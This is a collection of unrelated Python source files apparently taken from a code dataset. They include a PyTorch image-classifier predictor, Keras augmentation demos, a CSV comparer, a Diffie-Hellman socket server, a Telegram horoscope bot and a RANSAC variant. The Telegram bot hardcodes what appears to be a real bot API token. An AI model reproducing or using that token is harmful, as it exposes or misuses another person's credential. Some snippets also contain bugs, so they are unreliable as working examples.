cat_to_name = json.load(f)\n return cat_to_name\n\n\ndef load_checkpoint(file_path):\n # Load Checkpoint\n checkpoint = torch.load(file_path)\n # Model\n model = checkpoint['model'] \n # Classifier of the model\n model.classifier = checkpoint['classifier']\n model.class_to_idx = checkpoint['class_to_idx']\n model.load_state_dict(checkpoint['state_dict'])\n # Optimizr\n lr = checkpoint['lr']\n optimizer = optim.Adam(model.classifier.parameters(), lr = lr)\n optimizer.load_state_dict(checkpoint['optimizer_state'])\n \n return optimizer, model\n\n\ndef process_image(image):\n ''' Scales, crops, and normalizes a PIL image for a PyTorch model,\n returns an Numpy array\n '''\n with PIL.Image.open(image) as im:\n # Resizing perserving aspect ratios\n im = im.resize((224, 224), PIL.Image.ANTIALIAS)\n im = np.array(im) / 255\n # Normalization\n mean = np.array([0.485, 0.456, 0.406])\n std = np.array([0.229, 0.224, 0.225])\n im = (im - mean) / std\n\n # TODO: Process a PIL image for use in a PyTorch model\n im = torch.from_numpy(im.transpose((2, 0, 1)))\n\n return im\n \n\ndef imshow(image, ax=None, title=None):\n \"\"\"Imshow for Tensor.\"\"\"\n if ax is None:\n fig, ax = plt.subplots()\n \n # PyTorch tensors assume the color channel is the first dimension\n # but matplotlib assumes is the third dimension\n image = image.numpy().transpose((1, 2, 0))\n \n # Undo preprocessing\n mean = np.array([0.485, 0.456, 0.406])\n std = np.array([0.229, 0.224, 0.225])\n image = std * image + mean\n \n # Image needs to be clipped between 0 and 1 or it looks like noise when displayed\n image = np.clip(image, 0, 1)\n \n ax.imshow(image)\n \n return ax\n\n\ndef predict(image_path, model, device, topk):\n ''' Predict the class (or classes) of an image using a trained deep learning model.\n '''\n model.eval()\n image = process_image(image_path)\n image = image.to(device).unsqueeze(0).float()\n with torch.no_grad():\n probs, classes = torch.exp(model.forward(image)).topk(topk, dim=1)\n return probs, classes\n\n\ndef check_sanity(label_dict, title, image_path, model, device, topk=5):\n # Do prediction\n probs, classes = predict(image_path, model, device, topk)\n \n idx_to_class = {v: k for k, v in model.class_to_idx.items()}\n class_int_list = [idx_to_class[i] for i in classes[0].tolist()]\n class_list = [label_dict[str(key)] for key in class_int_list]\n\n # Initialize Plots\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5))\n \n # Show image and label text.\n ax1 = imshow(process_image(image_path), ax=ax1, title = title)\n ax1.spines['top'].set_visible(False)\n ax1.spines['right'].set_visible(False)\n ax1.spines['left'].set_visible(False)\n ax1.spines['bottom'].set_visible(False)\n ax1.set_xticklabels('')\n ax1.set_yticklabels('')\n ax1.tick_params(axis='both', length=0)\n if title:\n ax1.set_title(title)\n ax1.axis('off')\n \n # Show Prediction Result\n ax2.barh(range(topk), probs[0].tolist())\n ax2.set_yticks(range(topk))\n ax2.set_yticklabels(class_list)\n \n ax2.set_xticks(np.arange(0, max(probs[0].tolist())*1.1, max(probs[0].tolist())*1.1/5))\n \n ax2.set_title(str(probs.grad_fn)[1:-1])\n \n ax2.invert_yaxis()\n plt.tight_layout()\n\n\ndef check_sanity_text(label_dict, title, image_path, model, topk):\n # Do prediction\n probs, classes = predict(image_path, model, topk)\n \n idx_to_class = {v: k for k, v in model.class_to_idx.items()}\n class_int_list = [idx_to_class[i] for i in classes[0].tolist()]\n class_list = [label_dict[str(key)] for key in class_int_list]\n\n print(f'Label: {title}')\n for i in range(int(topk)):\n print(f'{probs[0].tolist()[i]}: {class_list[i]}')\n\n# ------------------------------------------------------------------\n# (3) Predict and show the result.\n# ------------------------------------------------------------------\n\n# check_sanity(label_dict = cat_to_name, \n# title = cat_to_name['1'], \n# image_path = 'flowers/test/1/image_06743.jpg', \n# model = model, \n# topk = 5)\n\n# check_sanity(label_dict = cat_to_name, \n# title = cat_to_name['1'], \n# image_path = sys.argv[1], \n# model = model, \n# topk = 5)\n\n# check_sanity_text(label_dict = cat_to_name, \n# title = cat_to_name['1'], \n# image_path = sys.argv[1], \n# model = model, \n# topk = 5)\n\n\ndef main():\n \n # Arg Parser\n args = get_args()\n file_path = args.file_path\n json_path = args.json_path\n image_path = args.image_path\n topk = args.topk\n gpu_mode = args.gpu_mode\n \n # Load Category Name\n cat_to_name = load_cat_to_name(json_path)\n \n # Load Checkpoint\n\n print(f'\\nfile_path: {file_path}\\n')\n print(f'\\nRunning >> Checkpoint Load Function')\n optimizer, model = load_checkpoint(file_path)\n print(f'\\nFininshed ..')\n \n # START Prediction\n # ______________\n \n # Define device\n if gpu_mode == 'on':\n print(f\"\\nTrying GPU mode..\\n\")\n if torch.cuda.is_available():\n device = torch.device('cuda')\n print(f\"\\nGPU Available\\n\")\n else:\n device = torch.device('cpu')\n print(f\"\\nGPU Not Available\\n\")\n else:\n device = torch.device('cpu')\n \n model.to(device)\n print(device)\n \n # Predict Image\n print(f'\\nRunning >> Predict Function')\n probs, classes = predict(image_path, model, device, topk)\n print(f'\\nFininshed ..')\n print(f'\\nChecking ..')\n print(f'\\nPrinting >> probs\\n')\n print(probs)\n print(f'\\nPrinting >> classes\\n')\n print(classes)\n \n print(f'\\nPrinting >> name of classes\\n')\n idx_to_class = {v: k for k, v in model.class_to_idx.items()}\n class_int_list = [idx_to_class[i] for i in classes[0].tolist()]\n class_list = [cat_to_name[str(key)] for key in class_int_list]\n print(class_list)\n print(f'\\nPrinting End.\\n')\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":8006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"273854395","text":"import os\n\nimport tensorflow.keras as keras\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom tensorflow.keras.layers import Dense, Conv2D, MaxPooling2D, Flatten, Input, Activation, add, Add, Dropout, BatchNormalization\nfrom tensorflow.keras.callbacks import EarlyStopping\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.datasets import cifar10\nfrom tensorflow.keras.datasets import fashion_mnist\nfrom tensorflow.keras.utils import to_categorical\nfrom sklearn.model_selection import train_test_split\n\nfrom IPython.display import SVG\nfrom tensorflow.python.keras.utils.vis_utils import model_to_dot\n\nrandom_state = 42\n\n#変換する画像を表示\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\n\nx_train = x_train.astype('float32') / 255\ny_train = np.eye(10)[y_train.astype('int32').flatten()]\n\nx_test = x_test.astype('float32') / 255\ny_test = np.eye(10)[y_test.astype('int32').flatten()]\n\nx_train, x_valid, y_train, y_valid = train_test_split(\n x_train, y_train, test_size=10000)\n\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\nfig = plt.figure(figsize=(9, 15))\nfig.subplots_adjust(left=0, right=1, bottom=0,\n top=0.5, hspace=0.05, wspace=0.05)\n\nfor i in range(5):\n ax = fig.add_subplot(1, 5, i + 1, xticks=[], yticks=[])\n ax.imshow(x_train[i])\n\n\n#左右にずらす\ndatagen = ImageDataGenerator(width_shift_range=0.4)\n\ndatagen.fit(x_train)\n\nfig = plt.figure(figsize=(9, 15))\nfig.subplots_adjust(left=0, right=1, bottom=0,\n top=0.5, hspace=0.05, wspace=0.05)\n\nfor x_batch, y_batch in datagen.flow(x_train, y_train, batch_size=9, shuffle=False):\n for i in range(5):\n ax = fig.add_subplot(1, 5, i + 1, xticks=[], yticks=[])\n ax.imshow(x_batch[i])\n break\n\n\n#上下にずらす\ndatagen = ImageDataGenerator(height_shift_range=0.4)\n\ndatagen.fit(x_train)\n\nfig = plt.figure(figsize=(9, 15))\nfig.subplots_adjust(left=0, right=1, bottom=0,\n top=0.5, hspace=0.05, wspace=0.05)\n\nfor x_batch, y_batch in datagen.flow(x_train, y_train, batch_size=9, shuffle=False):\n for i in range(5):\n ax = fig.add_subplot(1, 5, i + 1, xticks=[], yticks=[])\n ax.imshow(x_batch[i])\n break\n\n#左右反転\ndatagen = ImageDataGenerator(horizontal_flip=True)\n\ndatagen.fit(x_train)\n\nfig = plt.figure(figsize=(9, 15))\nfig.subplots_adjust(left=0, right=1, bottom=0,\n top=0.5, hspace=0.05, wspace=0.05)\n\nfor x_batch, y_batch in datagen.flow(x_train, y_train, batch_size=9, shuffle=False):\n for i in range(5):\n ax = fig.add_subplot(1, 5, i + 1, xticks=[], yticks=[])\n ax.imshow(x_batch[i])\n break\n\n#回転\ndatagen = ImageDataGenerator(rotation_range=30)\n\ndatagen.fit(x_train)\n\nfig = plt.figure(figsize=(9, 15))\nfig.subplots_adjust(left=0, right=1, bottom=0,\n top=0.5, hspace=0.05, wspace=0.05)\n\nfor x_batch, y_batch in datagen.flow(x_train, y_train, batch_size=9, shuffle=False):\n for i in range(5):\n ax = fig.add_subplot(1, 5, i + 1, xticks=[], yticks=[])\n ax.imshow(x_batch[i])\n break\n","sub_path":"2.3.1.py","file_name":"2.3.1.py","file_ext":"py","file_size_in_byte":3102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"71742839","text":"\"\"\"\ndocstring\n\"\"\"\n\n\ndef prodsum(lst):\n \"\"\"\n\n :param lst:\n :return:\n \"\"\"\n prod_even = 1\n sum_odd = 0\n if len(lst) == 0:\n return 0\n for index, item in enumerate(lst):\n if index % 2 == 0:\n prod_even *= item\n elif index % 2 != 0:\n sum_odd += item\n return prod_even - sum_odd\n","sub_path":"prodsum.py","file_name":"prodsum.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"323951525","text":"__author__ = 'Shashank Kapadia'\n__copyright__ = '2015 AIR Worldwide, Inc.. All rights reserved'\n__version__ = '1.0'\n__interpreter__ = 'Python 2.7.9'\n__maintainer__ = 'Shashank kapadia'\n__email__ = 'skapadia@air-worldwide.com'\n__status__ = 'Complete'\n\nimport csv\n\ndef compare_csv_files(source_file, test_file, keys):\n\n def extract_csv_data(file, keys):\n\n def get_key(row, keys):\n\n key_list = []\n for i in keys:\n key_list.append(row[i])\n return tuple(key_list)\n\n data = {}\n with open(file) as f:\n for row in csv.DictReader(f, delimiter=','):\n try:\n key = get_key(row, keys)\n assert key not in data\n data[key] = row\n except:\n data = -1\n return data\n\n writer = csv.writer(open('Result.csv','wb'))\n source_file_data = extract_csv_data(source_file, keys)\n test_file_data = extract_csv_data(test_file, keys)\n if (source_file_data and test_file_data) != -1:\n columns_source = source_file_data[source_file_data.keys()[0]].keys()\n columns_test = test_file_data[test_file_data.keys()[0]].keys()\n if columns_source == columns_test:\n writer.writerow(columns_source + ['Result'] + columns_test + ['Result'])\n for i in source_file_data:\n error = 0\n if i in test_file_data:\n for j in source_file_data[i]:\n try:\n if abs(float(source_file_data[i][j]) -\n float(test_file_data[i][j])) >= 0.0001:\n error = 1\n except:\n pass\n if error == 1:\n source_file_data[i]['Result'] = 'Mismatch in values'\n test_file_data[i]['Result'] = 'Mismatch in values'\n else:\n source_file_data[i]['Result'] = 'Values match'\n test_file_data[i]['Result'] = 'Values match'\n writer.writerow(source_file_data[i].values() + test_file_data[i].values())\n else:\n source_file_data[i]['Result'] = 'Not in a Test file'\n writer.writerow(source_file_data[i].values() + ['-'] * len(source_file_data[i].keys()))\n for i in test_file_data:\n if 'Result' in test_file_data[i]:\n pass\n else:\n test_file_data[i]['Result'] = 'Not in a Source file'\n writer.writerow(['-'] * len(test_file_data[i].keys()) + test_file_data[i].values())\n else:\n print('Columns do not match !!!')\n else:\n print('Invalid keys !!!')","sub_path":"CsvCompare/main_IronPython.py","file_name":"main_IronPython.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"98469933","text":"#!/usr/bin/env python\n\nclass vertex:\n def __init__(self,lb,l):\n self.label = lb\n self.list = l # list of the vertex that linked to this vertex\n self.mark = 0 # 0 stand for unvisited, 1 stand for visited\n\n def dfs(self):\n self.mark = 1\n print(self.label, end = ' ')\n for v in self.list:\n if v.mark == 0:\n v.dfs()\n\ndef link(node, nodelist):\n for item in nodelist:\n node.list = node.list.append(item)\n \ndef unmark(list):\n for node in list:\n node.mark = 0\n\n\n\na = vertex(\"a\",[])\nb = vertex(\"b\",[])\nc = vertex(\"c\",[])\nd = vertex(\"d\",[])\ne = vertex(\"e\",[])\nf = vertex(\"f\",[])\n\na = vertex(\"a\",[b,d,f])\nb = vertex(\"b\",[c,f])\nc = vertex(\"c\",[d])\nd = vertex(\"d\",[b])\ne = vertex(\"e\",[d,f])\nf = vertex(\"f\",[d])\n\n#link(a,[b,d,f])\n#link(b,[c,f])\n#link(c,[d])\n#link(d,[b])\n#link(e,[d,f])\n#link(f,[d])\n\nprint(\"Visited node if start at node a:\")\na.dfs()\nunmark([a,b,c,d,e,f])\nprint()\n\nprint(\"Visited node if start at node b:\")\nb.dfs()\nunmark([a,b,c,d,e,f])\nprint()\n\nprint(\"Visited node if start at node c:\")\nc.dfs()\nunmark([a,b,c,d,e,f])\nprint()\n\nprint(\"Visited node if start at node d:\")\nd.dfs()\nunmark([a,b,c,d,e,f])\nprint()\n\nprint(\"Visited node if start at node e:\")\ne.dfs()\nunmark([a,b,c,d,e,f])\nprint()\n\nprint(\"Visited node if start at node f:\")\nf.dfs()\nunmark([a,b,c,d,e,f])\nprint()\n","sub_path":"A3/dfs.py","file_name":"dfs.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"643021082","text":"from dh import *\r\n\r\nimport time, _thread as thread # or use threading.Thread().start()\r\nfrom socket import * # get socket constructor and constants\r\nmyHost = '' # server machine, '' means local host\r\nmyPort = 50007 # listen on a non-reserved port number\r\n\r\nsockobj = socket(AF_INET, SOCK_STREAM) # make a TCP socket object\r\nsockobj.bind((myHost, myPort)) # bind it to server port number\r\nsockobj.listen(5) # allow up to 5 pending connects\r\n\r\ndef now():\r\n return time.ctime(time.time()) # current time on the server\r\n\r\ndef handleClient(connection): # in spawned thread: reply\r\n time.sleep(.1) # simulate a blocking activity\r\n while True: # read, write a client socket\r\n server_private_key = create_priv_key()\r\n server_public_key = create_pub_key(server_private_key)\r\n connection.send(str(server_public_key).encode())\r\n client_public_key = connection.recv(1024)\r\n client_public_key = int(client_public_key.decode())\r\n server_shared_key = shared_key(server_private_key, client_public_key)\r\n print(\"Server shared key = \" + str(server_shared_key))\r\n break\r\n connection.close()\r\n\r\ndef dispatcher(): # listen until process killed\r\n while True: # wait for next connection,\r\n connection, address = sockobj.accept() # pass to thread for service\r\n print('Server connected by', address, end=' ')\r\n print('at', now())\r\n thread.start_new_thread(handleClient, (connection,))\r\n\r\ndispatcher()\r\n","sub_path":"code/projects/Server_Diffie-Hellman/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"504962366","text":"import telebot\nfrom telebot import types\nimport requests\nfrom bs4 import BeautifulSoup\n\nbot = telebot.TeleBot('1790870136:AAHzz8FqpqgyDAl8gx30p8-_BYwCIsOkF3U')\n\n\n@bot.message_handler(commands=['start'])\ndef start(message):\n markup_inline = types.InlineKeyboardMarkup()\n item_more = types.InlineKeyboardButton(text = 'гороскоп на сегодня', callback_data= 'h')\n markup_inline.add(item_more)\n bot.send_message(message.chat.id, 'Добро пожаловать!',\n reply_markup=markup_inline\n )\n\n@bot.callback_query_handler(func = lambda call: True)\ndef hello(call):\n if call.data == 'h':\n markup_reply = types.ReplyKeyboardMarkup(resize_keyboard=True)\n\n aries = types.KeyboardButton('aries')\n taurus = types.KeyboardButton('taurus')\n gemini = types.KeyboardButton('gemini')\n cancer = types.KeyboardButton('cancer')\n leo = types.KeyboardButton('leo')\n virgo = types.KeyboardButton('virgo')\n libra = types.KeyboardButton('libra')\n scorpio = types.KeyboardButton('scorpio')\n sagittarius = types.KeyboardButton('sagittarius')\n capricorn = types.KeyboardButton('capricorn')\n aquarius = types.KeyboardButton('aquarius')\n pisces = types.KeyboardButton('pisces')\n\n markup_reply.add(aries, taurus, gemini, cancer, leo, virgo, libra, scorpio, sagittarius, capricorn, aquarius, pisces)\n bot.send_message(call.message.chat.id, 'Что вас интересует?',\n reply_markup=markup_reply \n )\n\n@bot.message_handler(content_types = ['text'])\ndef t(message):\n txt = message.text\n if txt in ['aries', 'taurus', 'gemini', 'cancer', 'leo', 'virgo', 'libra', 'scorpio', 'sagittarius', 'capricorn', 'aquirius', 'pisces', ]:\n bot.send_message(message.chat.id, zp(txt))\n \n\n\n\ndef zp(sign):\n url = f'https://horo.mail.ru/prediction/{sign}/today/'\n\n source = requests.get(url)\n main_text = source.text\n soup = BeautifulSoup(main_text, \"html.parser\")\n\n zs = []\n for zs in soup.find_all('div', {'class': 'article__item'}):\n zs.append(zs.get_text())\n\n return zs \n\n\n\nbot.polling()","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"539002115","text":"#\n# WBrowser.py -- Web Browser plugin for fits viewer\n#\n# This is open-source software licensed under a BSD license.\n# Please see the file LICENSE.txt for details.\n#\nimport sys, os\nfrom ginga import GingaPlugin\n\nfrom ginga.qtw.QtHelp import QtGui, QtCore\nfrom ginga.qtw import QtHelp\nfrom ginga.rv.Control import package_home\n\nhas_webkit = False\ntry:\n from ginga.qtw.QtHelp import QWebView\n has_webkit = True\nexcept ImportError:\n pass\n\nclass WBrowser(GingaPlugin.GlobalPlugin):\n\n def __init__(self, fv):\n # superclass defines some variables for us, like logger\n super(WBrowser, self).__init__(fv)\n\n self.browser = None\n\n def build_gui(self, container):\n if not has_webkit:\n self.browser = QtGui.QLabel(\"Please install the python-webkit package to enable this plugin\")\n else:\n self.browser = QWebView()\n\n sw = QtGui.QScrollArea()\n sw.setWidgetResizable(True)\n #sw.set_border_width(2)\n sw.setWidget(self.browser)\n\n cw = container.get_widget()\n cw.layout().addWidget(sw, stretch=1)\n sw.show()\n\n self.entry = QtGui.QLineEdit()\n cw.layout().addWidget(self.entry, stretch=0)\n self.entry.returnPressed.connect(self.browse_cb)\n\n btns = QtHelp.HBox()\n layout = btns.layout()\n layout.setSpacing(3)\n\n btn = QtGui.QPushButton(\"Close\")\n btn.clicked.connect(self.close)\n layout.addWidget(btn, stretch=0, alignment=QtCore.Qt.AlignLeft)\n cw.layout().addWidget(btns, stretch=0, alignment=QtCore.Qt.AlignLeft)\n\n if has_webkit:\n helpfile = os.path.abspath(os.path.join(package_home,\n \"doc\", \"help.html\"))\n helpurl = \"file://%s\" % (helpfile)\n self.browse(helpurl)\n\n def browse(self, url):\n self.logger.debug(\"Browsing '%s'\" % (url))\n try:\n self.browser.load(QtCore.QUrl(url))\n self.entry.setText(url)\n self.browser.show()\n except Exception as e:\n self.fv.show_error(\"Couldn't load web page: %s\" % (str(e)))\n\n def browse_cb(self):\n url = str(self.entry.text()).strip()\n self.browse(url)\n\n def load_html(self, text_html):\n self.browser.setHtml(text_html)\n self.entry.setText('')\n\n def close(self):\n self.fv.stop_global_plugin(str(self))\n return True\n\n def __str__(self):\n return 'wbrowser'\n\n#END\n","sub_path":"ginga/qtw/plugins/WBrowser.py","file_name":"WBrowser.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"299328052","text":"# plot_example_5.py\n# Copyright (c) 2013-2016 Pablo Acosta-Serafini\n# See LICENSE for details\n# pylint: disable=C0111,C0410,E0611,F0401,R0903\n\nimport sys, putil.misc, putil.pcsv\nif sys.hexversion < 0x03000000:\n from putil.compat2 import _write\nelse:\n from putil.compat3 import _write\n\ndef write_csv_file(file_handle):\n _write(file_handle, 'Col1,Col2\\n')\n _write(file_handle, '0E-12,10\\n')\n _write(file_handle, '1E-12,0\\n')\n _write(file_handle, '2E-12,20\\n')\n _write(file_handle, '3E-12,-10\\n')\n _write(file_handle, '4E-12,30\\n')\n\ndef proc_func2(indep_var, dep_var, par1, par2):\n return (indep_var/1E-12)+(2*par1), dep_var+sum(par2)\n\ndef create_csv_source():\n with putil.misc.TmpFile(write_csv_file) as fname:\n obj = putil.plot.CsvSource(\n fname=fname,\n indep_col_label='Col1',\n dep_col_label='Col2',\n fproc=proc_func2,\n fproc_eargs={'par1':5, 'par2':[1, 2, 3]}\n )\n return obj\n","sub_path":"docs/support/plot_example_5.py","file_name":"plot_example_5.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"303319535","text":"# -*- coding: utf-8 -*-\r\nimport numpy as np\r\nfrom skimage.external import tifffile as tiff\r\nfrom skimage import img_as_float, img_as_uint\r\nfrom skimage.transform import resize, rotate\r\nimport matplotlib.pyplot as plt\r\nfrom skimage.restoration import richardson_lucy as deconv\r\n\r\nfrom CheckFunctions import Open, ShapeEv, Find, PSFOpen, OnePlaneReconstruction, FinalReconstruction\r\n\r\n#Main Parameters\r\nOpenFiles = True\r\nFindZ = False\r\nDeconvolve = True\r\nReconstruct = True\r\n#Data location parameters \r\nDirName = 'l:/AB/MultiviewDeconvolution/'\r\nFileName = 'originalDATA_bin1.tif'\r\nPSFName = 'PSF_square_small.tif'\r\n#Parameters for the reconstruction\r\nNiterations = 30\r\nXc = 333\r\nZc = 333\r\nDistance = 80\r\nWidth = 80\r\n#Subsampling parameters\r\nNsamplingA = 1\r\n\r\nif OpenFiles:\r\n Stack = Open(DirName,FileName,NsamplingA)\r\n \r\nif FindZ:\r\n Zc = Find(Stack,Distance,Xc,Width)\r\n\r\nif Reconstruct:\r\n Center = [Xc,Zc]\r\n if Deconvolve:\r\n PSF = PSFOpen(DirName,PSFName,Stack)\r\n #PSF = np.ones((2,10))/20\r\n ReconstructedPlane = FinalReconstruction(Stack,PSF,Niterations,Xc,Zc) \r\n else:\r\n ReconstructedPlane = OnePlaneReconstruction(Stack,Center) \r\n \r\n \r\n plt.imshow(ReconstructedPlane[150:580,50:])\r\n plt.gray()\r\n plt.show()\r\n ","sub_path":"CheckSetCentrato.py","file_name":"CheckSetCentrato.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"157387868","text":"\nimport numpy as np\nimport tensorflow as tf\nimport dirt\nimport skimage.io\nimport skimage\nimport skimage.transform\nimport skimage.color\nimport time\nimport os\nimport scipy\nimport scipy.optimize\nimport skimage.measure\nfrom sklearn import linear_model, datasets\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport cv2\n\nfrom sklearn.utils import check_random_state, check_array, check_consistent_length\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.utils.validation import has_fit_parameter\nimport sklearn.linear_model\n_dynamic_max_trials = sklearn.linear_model.ransac._dynamic_max_trials\n\ncanvas_width, canvas_height = 960, 640\ncentre_x, centre_y = 32, 64\nsquare_size = 16\n\ndef ransac_fit_with_weights(self, X, y, sample_weight=None, residual_threshold=None):\n \"\"\"\n Modified sklearn.linear_model.RANSACRegressor.fit()\n sample_weight is used in sampling base points, fitting the regressor, and calculating score for candidate model\n \"\"\"\n X = check_array(X, accept_sparse='csr')\n y = check_array(y, ensure_2d=False)\n check_consistent_length(X, y)\n\n if self.base_estimator is not None:\n base_estimator = clone(self.base_estimator)\n else:\n base_estimator = LinearRegression()\n\n if self.min_samples is None:\n # assume linear model by default\n min_samples = X.shape[1] + 1\n elif 0 < self.min_samples < 1:\n min_samples = np.ceil(self.min_samples * X.shape[0])\n elif self.min_samples >= 1:\n if self.min_samples % 1 != 0:\n raise ValueError(\"Absolute number of samples must be an \"\n \"integer value.\")\n min_samples = self.min_samples\n else:\n raise ValueError(\"Value for `min_samples` must be scalar and \"\n \"positive.\")\n if min_samples > X.shape[0]:\n raise ValueError(\"`min_samples` may not be larger than number \"\n \"of samples: n_samples = %d.\" % (X.shape[0]))\n\n if self.stop_probability < 0 or self.stop_probability > 1:\n raise ValueError(\"`stop_probability` must be in range [0, 1].\")\n\n if residual_threshold is None:\n if self.residual_threshold is None:\n # MAD (median absolute deviation)\n residual_threshold = np.median(np.abs(y - np.median(y)))\n else:\n residual_threshold = self.residual_threshold\n\n if self.loss == \"absolute_loss\":\n if y.ndim == 1:\n loss_function = lambda y_true, y_pred: np.abs(y_true - y_pred)\n else:\n loss_function = lambda \\\n y_true, y_pred: np.sum(np.abs(y_true - y_pred), axis=1)\n\n elif self.loss == \"squared_loss\":\n if y.ndim == 1:\n loss_function = lambda y_true, y_pred: (y_true - y_pred) ** 2\n else:\n loss_function = lambda \\\n y_true, y_pred: np.sum((y_true - y_pred) ** 2, axis=1)\n\n elif callable(self.loss):\n loss_function = self.loss\n\n else:\n raise ValueError(\n \"loss should be 'absolute_loss', 'squared_loss' or a callable.\"\n \"Got %s. \" % self.loss)\n\n\n random_state = check_random_state(self.random_state)\n\n try: # Not all estimator accept a random_state\n base_estimator.set_params(random_state=random_state)\n except ValueError:\n pass\n\n estimator_fit_has_sample_weight = has_fit_parameter(base_estimator,\n \"sample_weight\")\n estimator_name = type(base_estimator).__name__\n if (sample_weight is not None and not\n estimator_fit_has_sample_weight):\n raise ValueError(\"%s does not support sample_weight. Samples\"\n \" weights are only used for the calibration\"\n \" itself.\" % estimator_name)\n if sample_weight is not None:\n sample_weight = np.asarray(sample_weight)\n\n n_inliers_best = 1\n score_best = -np.inf\n inlier_mask_best = None\n X_inlier_best = None\n y_inlier_best = None\n weight_inlier_best = None\n self.n_skips_no_inliers_ = 0\n self.n_skips_invalid_data_ = 0\n self.n_skips_invalid_model_ = 0\n\n # number of data samples\n n_samples = X.shape[0]\n sample_idxs = np.arange(n_samples)\n\n n_samples, _ = X.shape\n\n self.n_trials_ = 0\n max_trials = self.max_trials\n while self.n_trials_ < max_trials:\n self.n_trials_ += 1\n\n if (self.n_skips_no_inliers_ + self.n_skips_invalid_data_ +\n self.n_skips_invalid_model_) > self.max_skips:\n break\n\n # choose random sample set\n #subset_idxs = sample_without_replacement(n_samples, min_samples,\n # random_state=random_state)\n \n # use np.random.choice here since it allows sample with prob\n subset_idxs = np.random.choice(n_samples, min_samples, False, sample_weight / np.sum(sample_weight))\n X_subset = X[subset_idxs]\n y_subset = y[subset_idxs]\n\n # check if random sample set is valid\n if (self.is_data_valid is not None\n and not self.is_data_valid(X_subset, y_subset)):\n self.n_skips_invalid_data_ += 1\n continue\n\n # fit model for current random sample set\n if sample_weight is None:\n base_estimator.fit(X_subset, y_subset)\n else:\n base_estimator.fit(X_subset, y_subset,\n sample_weight=sample_weight[subset_idxs])\n\n # check if estimated model is valid\n if (self.is_model_valid is not None and not\n self.is_model_valid(base_estimator, X_subset, y_subset)):\n self.n_skips_invalid_model_ += 1\n continue\n\n # residuals of all data for current random sample model\n y_pred = base_estimator.predict(X)\n residuals_subset = loss_function(y, y_pred)\n\n # classify data into inliers and outliers\n inlier_mask_subset = residuals_subset < residual_threshold\n n_inliers_subset = np.sum(inlier_mask_subset)\n\n # less inliers -> skip current random sample\n if n_inliers_subset < n_inliers_best:\n self.n_skips_no_inliers_ += 1\n continue\n\n # extract inlier data set\n inlier_idxs_subset = sample_idxs[inlier_mask_subset]\n X_inlier_subset = X[inlier_idxs_subset]\n y_inlier_subset = y[inlier_idxs_subset]\n if sample_weight is None:\n weight_inlier_subset = None\n else:\n weight_inlier_subset = sample_weight[inlier_idxs_subset]\n\n # score of inlier data set\n score_subset = base_estimator.score(X_inlier_subset,\n y_inlier_subset,\n sample_weight[inlier_idxs_subset])\n\n # same number of inliers but worse score -> skip current random\n # sample\n if (n_inliers_subset == n_inliers_best\n and score_subset < score_best):\n continue\n\n # save current random sample as best sample\n n_inliers_best = n_inliers_subset\n score_best = score_subset\n inlier_mask_best = inlier_mask_subset\n X_inlier_best = X_inlier_subset\n y_inlier_best = y_inlier_subset\n weight_inlier_best = weight_inlier_subset\n\n max_trials = min(\n max_trials,\n _dynamic_max_trials(n_inliers_best, n_samples,\n min_samples, self.stop_probability))\n\n # break if sufficient number of inliers or score is reached\n if n_inliers_best >= self.stop_n_inliers or \\\n score_best >= self.stop_score:\n break\n\n # if none of the iterations met the required criteria\n if inlier_mask_best is None:\n if ((self.n_skips_no_inliers_ + self.n_skips_invalid_data_ +\n self.n_skips_invalid_model_) > self.max_skips):\n raise ValueError(\n \"RANSAC skipped more iterations than `max_skips` without\"\n \" finding a valid consensus set. Iterations were skipped\"\n \" because each randomly chosen sub-sample failed the\"\n \" passing criteria. See estimator attributes for\"\n \" diagnostics (n_skips*).\")\n else:\n raise ValueError(\n \"RANSAC could not find a valid consensus set. All\"\n \" `max_trials` iterations were skipped because each\"\n \" randomly chosen sub-sample failed the passing criteria.\"\n \" See estimator attributes for diagnostics (n_skips*).\")\n else:\n if (self.n_skips_no_inliers_ + self.n_skips_invalid_data_ +\n self.n_skips_invalid_model_) > self.max_skips:\n warnings.warn(\"RANSAC found a valid consensus set but exited\"\n \" early due to skipping more iterations than\"\n \" `max_skips`. See estimator attributes for\"\n \" diagnostics (n_skips*).\",\n ConvergenceWarning)\n\n # estimate final model using all inliers\n base_estimator.fit(X_inlier_best, y_inlier_best, weight_inlier_best)\n\n self.estimator_ = base_estimator\n self.inlier_mask_ = inlier_mask_best\n return self\n\nlinear_model.RANSACRegressor.ransac_fit_with_weights = ransac_fit_with_weights\n\n\ndef get_dirt_pixels(width=canvas_width, height=canvas_height):\n\n square_vertices = tf.constant([[-1, -1, 0, 1], [-1, 1, 0, 1], [1, 1, 0, 1], [1, -1, 0, 1]], dtype=tf.float32)\n\n #background = 